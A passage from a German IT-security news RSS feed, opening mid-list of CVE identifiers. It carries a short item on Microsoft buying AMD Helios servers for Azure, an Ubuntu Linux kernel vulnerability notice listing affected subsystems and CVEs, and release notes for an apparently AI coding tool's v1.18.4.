CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43494, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43498, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45837, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45990,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45995, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46001, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46008, CVE-2026-46009, CVE-2026-46010,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46013, CVE-2026-46014,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46020, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46025, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46028, CVE-2026-46029, CVE-2026-46030, CVE-2026-46031,
CVE-2026-46032, CVE-2026-46033, CVE-2026-46034, CVE-2026-46035,
CVE-2026-46036, CVE-2026-46037, CVE-2026-46038, CVE-2026-46039,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46042, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46045, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052,
CVE-2026-46053, CVE-2026-46054, CVE-2026-46056, CVE-2026-46057,
CVE-2026-46058, CVE-2026-46059, CVE-2026-46060, CVE-2026-46061,
CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065,
CVE-2026-46066, CVE-2026-46067, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46071, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46074, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077,
CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46081,
CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46085,
CVE-2026-46086, CVE-2026-46087, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46093,
CVE-2026-46094, CVE-2026-46095, CVE-2026-46096, CVE-2026-46097,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46100, CVE-2026-46101,
CVE-2026-46102, CVE-2026-46103, CVE-2026-46104, CVE-2026-46105,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46109,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46118, CVE-2026-46119, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46140, CVE-2026-46141,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46147, CVE-2026-46148, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46153,
CVE-2026-46154, CVE-2026-46155, CVE-2026-46156, CVE-2026-46157,
CVE-2026-46158, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46162, CVE-2026-46163, CVE-2026-46164, CVE-2026-46165,
CVE-2026-46166, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46170, CVE-2026-46171, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46175, CVE-2026-46176, CVE-2026-46177,
CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46181,
CVE-2026-46182, CVE-2026-46183, CVE-2026-46184, CVE-2026-46185,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46202, CVE-2026-46203, CVE-2026-46204, CVE-2026-46205,
CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209,
CVE-2026-46210, CVE-2026-46211, CVE-2026-46212, CVE-2026-46213,
CVE-2026-46214, CVE-2026-46215, CVE-2026-46216, CVE-2026-46218,
CVE-2026-46219, CVE-2026-46220, CVE-2026-46221, CVE-2026-46222,
CVE-2026-46223, CVE-2026-46224, CVE-2026-46225, CVE-2026-46226,
CVE-2026-46227, CVE-2026-46228, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46239,
CVE-2026-46240, CVE-2026-46241, CVE-2026-46242, CVE-2026-46243,
CVE-2026-46244, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46276, CVE-2026-46277, CVE-2026-46278, CVE-2026-46279,
CVE-2026-46280, CVE-2026-46281, CVE-2026-46282, CVE-2026-46283,
CVE-2026-46284, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46288, CVE-2026-46289, CVE-2026-46290, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46295,
CVE-2026-46296, CVE-2026-46297, CVE-2026-46298, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46302, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46305, CVE-2026-46306, CVE-2026-46307, CVE-2026-46308,
CVE-2026-46309, CVE-2026-46310, CVE-2026-46311, CVE-2026-46312,
CVE-2026-46313, CVE-2026-46314, CVE-2026-46315, CVE-2026-46316,
CVE-2026-46317, CVE-2026-46318, CVE-2026-46319, CVE-2026-46320,
CVE-2026-46321, CVE-2026-46322, CVE-2026-46323, CVE-2026-46324,
CVE-2026-46332, CVE-2026-52904, CVE-2026-52905, CVE-2026-52906,
CVE-2026-52907, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52933,
CVE-2026-52934, CVE-2026-52936, CVE-2026-52937, CVE-2026-52941,
CVE-2026-52943, CVE-2026-52944, CVE-2026-52949, CVE-2026-52950,
CVE-2026-52951, CVE-2026-52952, CVE-2026-52953, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52956, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52959, CVE-2026-52960, CVE-2026-52961, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52964, CVE-2026-52965, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52971,
CVE-2026-52973, CVE-2026-52974, CVE-2026-52975, CVE-2026-52976,
CVE-2026-52977, CVE-2026-52978, CVE-2026-52979, CVE-2026-52980,
CVE-2026-52981, CVE-2026-52982, CVE-2026-52983, CVE-2026-52984,
CVE-2026-52985, CVE-2026-52986, CVE-2026-52987, CVE-2026-52988,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52991, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52994, CVE-2026-52995, CVE-2026-52996,
CVE-2026-52997, CVE-2026-52998, CVE-2026-52999, CVE-2026-53000,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53005, CVE-2026-53006, CVE-2026-53007, CVE-2026-53008,
CVE-2026-53009, CVE-2026-53010, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016,
CVE-2026-53017, CVE-2026-53018, CVE-2026-53019, CVE-2026-53020,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53024,
CVE-2026-53025, CVE-2026-53026, CVE-2026-53027, CVE-2026-53028,
CVE-2026-53029, CVE-2026-53030, CVE-2026-53031, CVE-2026-53032,
CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036,
CVE-2026-53037, CVE-2026-53038, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53042, CVE-2026-53043, CVE-2026-53044,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53051, CVE-2026-53052,
CVE-2026-53053, CVE-2026-53054, CVE-2026-53055, CVE-2026-53056,
CVE-2026-53057, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53066, CVE-2026-53067, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53070, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53078, CVE-2026-53079, CVE-2026-53080,
CVE-2026-53081, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53087, CVE-2026-53088,
CVE-2026-53089, CVE-2026-53090, CVE-2026-53091, CVE-2026-53092,
CVE-2026-53093, CVE-2026-53094, CVE-2026-53095, CVE-2026-53096,
CVE-2026-53097, CVE-2026-53098, CVE-2026-53099, CVE-2026-53100,
CVE-2026-53101, CVE-2026-53102, CVE-2026-53103, CVE-2026-53104,
CVE-2026-53105, CVE-2026-53106, CVE-2026-53107, CVE-2026-53108,
CVE-2026-53109, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112,
CVE-2026-53113, CVE-2026-53114, CVE-2026-53115, CVE-2026-53116,
CVE-2026-53117, CVE-2026-53118, CVE-2026-53119, CVE-2026-53120,
CVE-2026-53121, CVE-2026-53122, CVE-2026-53123, CVE-2026-53124,
CVE-2026-53125, CVE-2026-53126, CVE-2026-53127, CVE-2026-53128,
CVE-2026-53129, CVE-2026-53130, CVE-2026-53174, CVE-2026-53277,
CVE-2026-53278, CVE-2026-53279, CVE-2026-53280, CVE-2026-53281,
CVE-2026-53282, CVE-2026-53283, CVE-2026-53284, CVE-2026-53285,
CVE-2026-53286, CVE-2026-53287, CVE-2026-53288, CVE-2026-53289,
CVE-2026-53290, CVE-2026-53291, CVE-2026-53292, CVE-2026-53293,
CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53297,
CVE-2026-53298, CVE-2026-53299, CVE-2026-53300, CVE-2026-53301,
CVE-2026-53302, CVE-2026-53303, CVE-2026-53304, CVE-2026-53305,
CVE-2026-53306, CVE-2026-53307, CVE-2026-53308, CVE-2026-53309,
CVE-2026-53310, CVE-2026-53311, CVE-2026-53312, CVE-2026-53313,
CVE-2026-53314, CVE-2026-53315, CVE-2026-53316, CVE-2026-53317,
CVE-2026-53318, CVE-2026-53319, CVE-2026-53320, CVE-2026-53321,
CVE-2026-53322, CVE-2026-53323, CVE-2026-53324, CVE-2026-53357,
CVE-2026-53358, CVE-2026-53360, CVE-2026-53364, CVE-2026-53365)]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft setzt AMDs Helios-Server mit Next-Gen-Hardware ein]]></title>
<description><![CDATA[AMD zieht einen Deal in der Azure-Cloud an Land. Microsoft kauft Epyc-Venice-Prozessoren und hochpreisige KI-Beschleuniger.]]></description>
<link>https://tsecurity.de/de/3681587/it-nachrichten/microsoft-setzt-amds-helios-server-mit-next-gen-hardware-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681587/it-nachrichten/microsoft-setzt-amds-helios-server-mit-next-gen-hardware-ein/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AMD zieht einen Deal in der Azure-Cloud an Land. Microsoft kauft Epyc-Venice-Prozessoren und hochpreisige KI-Beschleuniger.]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8568-1: Linux kernel (OEM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3681577/unix-server/usn-8568-1-linux-kernel-oem-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681577/unix-server/usn-8568-1-linux-kernel-oem-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 18:01:28 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - PSP security protocol;
  - ARM64 architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - DRBD Distributed Replicated Block Device drivers;
  - Ublk userspace block driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - EDAC drivers;
  - EFI core;
  - FWCTL subsystem;
  - GPU drivers;
  - HID subsystem;
  - I3C subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - x86 platform drivers;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - TTY drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - USB Type-C support driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Netfilter;
  - Network traffic control;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - Cryptographic library;
  - Memory management;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - MAC80211 subsystem;
  - Multipath TCP;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - XFRM subsystem;
  - Integrity Measurement Architecture(IMA) framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - QCOM ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365)]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.4]]></title>
<description><![CDATA[Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of fallin...]]></description>
<link>https://tsecurity.de/de/3681569/downloads/v1184/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681569/downloads/v1184/</guid>
<pubDate>Mon, 20 Jul 2026 17:47:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Reduce OpenAI provider header timeouts during slow connection setup.</li>
<li>Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.</li>
<li>Restore Azure Cognitive Services endpoint support for Azure-hosted models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Sync the embedded terminal theme with the app theme.</li>
<li>Improve the review panel so open file tabs can stay aligned with the current diff view.</li>
<li>Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.</li>
<li>Improve review panel resizing and sticky controls.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve command drafts in the command menu.</li>
<li>Avoid session view failures when message parent links are missing.</li>
<li>Prevent sending empty prompt text parts.</li>
<li>Restore model variant selection accessibility.</li>
<li>Show keybind tooltips on prompt input controls. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>)</li>
<li>Deduplicate repeated file entries in diff summaries.</li>
<li>Prevent recovery window handling from touching destroyed windows.</li>
</ul>
